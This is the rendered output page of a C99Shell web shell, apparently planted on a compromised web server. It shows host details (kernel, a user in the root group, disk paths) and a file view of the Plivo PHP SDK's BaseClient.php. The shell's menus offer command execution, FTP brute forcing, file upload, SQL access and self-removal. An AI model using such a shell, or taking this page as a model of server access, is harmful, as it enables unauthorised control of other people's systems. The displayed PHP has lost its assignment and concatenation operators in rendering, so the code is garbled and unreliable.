!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/plivo/plivo-php/src/Plivo/   drwxr-xr-x
Free 29.22 GB of 117.98 GB (24.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BaseClient.php (9.07 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Plivo;

use 
Plivo\Authentication\BasicAuth;
use 
Plivo\Http\PlivoRequest;
use 
Plivo\Http\PlivoResponse;
use 
Plivo\HttpClients\PlivoGuzzleHttpClient;
use 
Plivo\HttpClients\PlivoHttpClientInterface;
use 
Plivo\Exceptions\PlivoRestException;
use 
Plivo\Util\ArrayOperations;

/**
 * Class BaseClient
 *
 * @package Plivo
 */
class BaseClient
{
    
/**
     * @const BASE API URL
     */
    
const BASE_API_URL 'https://api.plivo.com/';
    const 
VOICE_BASE_API_URL 'https://api.plivo.com/';
    const 
VOICE_BASE_API_FALLBACK_URL_1 'https://api.plivo.com/';
    const 
VOICE_BASE_API_FALLBACK_URL_2 'https://api.plivo.com/';
    const 
LOOKUP_API_BASE_URL 'https://lookup.plivo.com/';
    const 
ZENTRUNK_BASE_API_URL "https://zt.plivo.com/";
    
/**
     * @const Default timeout for request
     */
    
const DEFAULT_REQUEST_TIMEOUT 5;

    
/**
     * @var int|null Request timeout
     */
    
protected $timeout null;
    
/**
     * @var PlivoHttpClientInterface
     */
    
protected $httpClientHandler;
    
/**
     * @var BasicAuth
     */
    
protected $basicAuth;
    
/**
     * @var int Number of requests made
     */
    
public static $requestCount 0;

    public static 
$voiceRetryCount 0;

    public static 
$isVoiceRequest false;

    public static 
$isLookupRequest false;

    public static 
$isZentrunkRequest false;

    
/**
     * Instantiates a new BaseClient object.
     *
     * @param string|null $authId
     * @param string|null $authToken
     * @param null $proxyHost
     * @param null $proxyPort
     * @param null $proxyUsername
     * @param null $proxyPassword
     * @internal param null $proxyOptions
     */
    
public function __construct(
        
$authId null,
        
$authToken null,
        
$proxyHost null,
        
$proxyPort null,
        
$proxyUsername null,
        
$proxyPassword null)
    {
        
$this->basicAuth = new BasicAuth($authId$authToken);
        
$this->httpClientHandler =
            new 
PlivoGuzzleHttpClient(
                
null,
                
$this->basicAuth,
                
$proxyHost,
                
$proxyPort,
                
$proxyUsername,
                
$proxyPassword);
    }

    
/**
     * @param $name
     * @return mixed
     * @throws PlivoRestException
     */
    
public function __get($name)
    {
        
$method 'get' ucfirst($name);
        if (
method_exists($this$method)) {
            return 
$this->$method();
        }

        throw new 
PlivoRestException('Unknown resource ' $name);
    }

    
/**
     * Sets the HTTP client handler.
     *
     * @param PlivoHttpClientInterface $httpClientHandler
     */
    
public function setHttpClientHandler(PlivoHttpClientInterface $httpClientHandler)
    {
        
$this->httpClientHandler $httpClientHandler;
    }

    
/**
     * Set default timeout for all the requests
     *
     * @param int $timeout
     */
    
public function setTimeout($timeout)
    {
        
$this->timeout $timeout;
    }

    
/**
     * Returns the HTTP client handler.
     *
     * @return PlivoHttpClientInterface
     */
    
public function getHttpClientHandler()
    {
        return 
$this->httpClientHandler;
    }

    
/**
     * Returns the Authentication Id
     *
     * @return string
     */
    
public function getAuthId()
    {
        return 
$this->basicAuth->getAuthId();
    }

    
/**
     * Prepares the request for sending to the client handler.
     *
     * @param PlivoRequest $request
     *
     * @return array
     */
    
public function prepareRequestMessage(PlivoRequest $request$fullUrl null)
    {
        
$url $fullUrl $fullUrl self::BASE_API_URL $request->getUrl();
        return [
            
$url,
            
$request->getMethod(),
            
$request->getHeaders(),
            
$request->getParams(),
        ];
    }

    
/**
     * @param PlivoRequest $request
     * @param null $url
     * @return PlivoResponse
     * @throws Exceptions\PlivoRequestException
     * @throws PlivoRestException
     */
    
public function sendRequest(PlivoRequest $request$url null)
    {
        
$fullUrl $url $url null;
        list(
$url$method$headers$body) =
            
$this->prepareRequestMessage($request$fullUrl);
        if (static::
$isVoiceRequest) {
            if (static::
$voiceRetryCount == 0) {
                
$url self::VOICE_BASE_API_URL $request->getUrl();
            } elseif (static::
$voiceRetryCount == 1) {
                
$url self::VOICE_BASE_API_FALLBACK_URL_1 $request->getUrl();
            } elseif (static::
$voiceRetryCount == 2) {
                
$url self::VOICE_BASE_API_FALLBACK_URL_2 $request->getUrl();
            }
        }
        if (static::
$isLookupRequest) {
            
$url self::LOOKUP_API_BASE_URL $request->getUrl();
        }
        if (static::
$isZentrunkRequest) {
            
$url self::ZENTRUNK_BASE_API_URL $request->getUrl();
        }
        
$timeout $this->timeout ?: static::DEFAULT_REQUEST_TIMEOUT;

        
$plivoResponse =
            
$this->httpClientHandler->send_request(
                
$url$method$body$headers$timeout$request);

        static::
$requestCount++;

        static::
$isLookupRequest false;
        static::
$isZentrunkRequest false;
        if (!
$plivoResponse->ok() && !static::$isVoiceRequest) {
            return 
$plivoResponse;
        }
        if (
$plivoResponse->getStatusCode() >= 500 && static::$isVoiceRequest) {
            static::
$voiceRetryCount++;
            if (static::
$voiceRetryCount 2) {
                static::
$voiceRetryCount 0;
                return 
$plivoResponse;
            }
            return 
$this->sendRequest($requestnull);
        }
        static::
$voiceRetryCount 0;
        return 
$plivoResponse;
    }

    
/**
     * Fetch method
     * @param string $uri
     * @param array $params
     * @return PlivoResponse
     */
    
public function fetch($uri$params)
    {
        if (
array_key_exists("isVoiceRequest"$params)) {
            static::
$isVoiceRequest true;
            unset(
$params['isVoiceRequest']);
        }
        else{
            static::
$isVoiceRequest false;
        }
        if (
array_key_exists("isLookupRequest"$params)) {
            static::
$isLookupRequest true;
            unset(
$params['isLookupRequest']);
        }
        if (
array_key_exists("isZentrunkRequest",$params)) {
            static::
$isZentrunkRequest true;
            unset(
$params['isZentrunkRequest']);
        }
        
$request =
            new 
PlivoRequest(
                
'GET'$uriArrayOperations::removeNull($params));
        return 
$this->sendRequest($request);
    }

    
/**
     * Update method
     * @param string $uri
     * @param array $params
     * @return PlivoResponse
     */
    
public function update($uri$params)
    {
        
$url NULL;
        
$isCallInsightsRequest FALSE;
        if (
array_key_exists("isCallInsightsRequest"$params)) {
            
$isCallInsightsRequest TRUE;
            
$url $params['CallInsightsEndpoint'];
            unset(
$params['CallInsightsEndpoint']);
        } elseif (
array_key_exists("isVoiceRequest"$params)) {
            static::
$isVoiceRequest true;
            unset(
$params['isVoiceRequest']);
        }
        else{
            static::
$isVoiceRequest false;
        }
        
$request =
            new 
PlivoRequest(
                
'POST'$uriArrayOperations::removeNull($params));

        if (
$isCallInsightsRequest) {
            return 
$this->sendRequest($request$url);
        }
        return 
$this->sendRequest($request);
    }

    
/**
     * @param $uri
     * @param $params
     * @return PlivoResponse
     */
    
public function updateNode($uri$params)
    {
        
$request =
            new 
PlivoRequest(
                
'POST'$uriArrayOperations::removeNull($params));
        return 
$this->sendRequest($request$uri);
    }

    
/**
     * @param $uri
     * @param $params
     * @param null $headers
     * @return PlivoResponse
     */
    
public function getPhlorunnerApis($uri$params$headers null)
    {
        
$request =
            new 
PlivoRequest(
                
'POST'$uriArrayOperations::removeNull($params));
        
$request->setHeaders($headers);
        return 
$this->sendRequest($request$uri);
    }

    
/**
     * Fetch method
     * @param string $uri
     * @param array $params
     * @return PlivoResponse
     */
    
public function getPhlorunner($uri$params)
    {
        
$request =
            new 
PlivoRequest(
                
'GET'$uriArrayOperations::removeNull($params));
        return 
$this->sendRequest($request$uri);
    }

    
/**
     * Delete method
     * @param string $uri
     * @param array $params
     * @return PlivoResponse
     */
    
public function delete($uri$params)
    {
        if (
array_key_exists("isVoiceRequest"$params)) {
            static::
$isVoiceRequest true;
            unset(
$params['isVoiceRequest']);
        }
        else{
            static::
$isVoiceRequest false;
        }
        
$request =
            new 
PlivoRequest(
                
'DELETE'$uriArrayOperations::removeNull($params));

        return 
$this->sendRequest($request);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--